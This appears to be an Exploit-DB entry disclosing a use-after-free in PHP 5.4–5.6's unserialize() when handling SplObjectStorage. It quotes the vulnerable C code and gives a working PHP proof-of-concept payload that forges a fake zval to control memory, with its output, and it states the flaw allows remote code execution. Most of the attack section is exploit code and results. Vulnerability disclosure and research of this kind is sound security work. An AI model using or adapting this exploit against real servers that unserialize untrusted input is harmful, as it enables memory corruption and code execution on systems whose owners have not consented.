PHP 5.4/5.5/5.6 - SplObjectStorage 'Unserialize()' Use-After-Free

EDB-ID:

38122




Platform:

PHP

Date:

2015-09-09


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage

Taoguang Chen <[@chtg](http://github.com/chtg)> 
Write Date: 2015.8.27 
Release Date: 2015.9.4

A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------


    ALLOC_INIT_ZVAL(pentry);
    if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {
      zval_ptr_dtor(&pentry);
      goto outexcept;
    }
    if(Z_TYPE_P(pentry) != IS_OBJECT) {
      goto outexcept;
    }
    ALLOC_INIT_ZVAL(pinf);
    if (*p == ',') { /* new version has inf */
      ++p;
      if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {
        zval_ptr_dtor(&pinf);
        goto outexcept;
      }
    }


It has been demonstrated many times before that __wakeup() leads to
ZVAL is freed from memory. However during deserialization will still
allow to use R: or r: to set references to that already freed memory.
It is possible to use-after-free attack and execute arbitrary code
remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.


<?php

class obj {
  var $ryat;
  function __wakeup() {
    $this->ryat = 1;
  }
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';
$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
  $out = '';
  for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
  }
  return $out;
}

?>


Test the PoC on the command line:


$ php uafpoc.php
array(5) {
  [0]=>
  int(1)
  [1]=>
  &int(1)
  [2]=>
  object(obj)#3 (1) {
    ["ryat"]=>
    &int(1)
  }
  [3]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
  [4]=>
  string(24) "?v?B????"
}